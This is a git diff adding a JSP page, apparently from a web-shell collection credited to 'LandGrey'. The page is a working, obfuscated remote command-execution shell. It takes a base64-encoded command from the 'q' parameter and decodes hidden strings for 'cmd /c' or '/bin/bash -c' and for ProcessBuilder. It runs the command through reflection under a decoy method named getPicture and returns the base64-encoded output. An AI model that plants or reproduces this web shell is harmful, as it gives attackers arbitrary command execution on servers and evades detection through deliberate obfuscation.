diff --git a/jsp/ProcessBuilder-reflect-cmd.jsp b/jsp/ProcessBuilder-reflect-cmd.jsp new file mode 100644 index 0000000..e6ea231 --- /dev/null +++ b/jsp/ProcessBuilder-reflect-cmd.jsp @@ -0,0 +1,54 @@ +<%@ page pageEncoding="UTF-8" %> +<%@ page import="java.util.List" %> +<%@ page import="java.util.Scanner" %> +<%@ page import="java.util.ArrayList" %> +<%@ page import="sun.misc.BASE64Encoder" %> +<%@ page import="sun.misc.BASE64Decoder" %> + +Just For Fun + +

Build By LandGrey

+ +
+ + +
+ +<%! + public static String getPicture(String str) throws Exception { + List list = new ArrayList(); + BASE64Decoder decoder = new BASE64Decoder(); + BASE64Encoder encoder = new BASE64Encoder(); + String fileSeparator = String.valueOf(java.io.File.separatorChar); + if(fileSeparator.equals("\\")){ + list.add(new String(decoder.decodeBuffer("Y21k"))); + list.add(new String(decoder.decodeBuffer("L2M="))); + }else{ + list.add(new String(decoder.decodeBuffer("L2Jpbi9iYXNo"))); + list.add(new String(decoder.decodeBuffer("LWM="))); + } + list.add(new String(decoder.decodeBuffer(str))); + Class PB = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlByb2Nlc3NCdWlsZGVy"))); + Process s = (Process) PB.getMethod(new String(decoder.decodeBuffer("c3RhcnQ="))).invoke(PB.getDeclaredConstructors()[0].newInstance(list)); + Scanner sc = new Scanner(s.getInputStream()).useDelimiter("\\A"); + String result = ""; + result = sc.hasNext() ? sc.next() : result; + sc.close(); + return encoder.encode(result.getBytes("UTF-8")); + } +%> + +<% + String name ="Input Nothing"; + String query = request.getParameter("q"); + if(query != null) { + name = getPicture(query); + } +%> + +
+<%= name %>
+
+ + +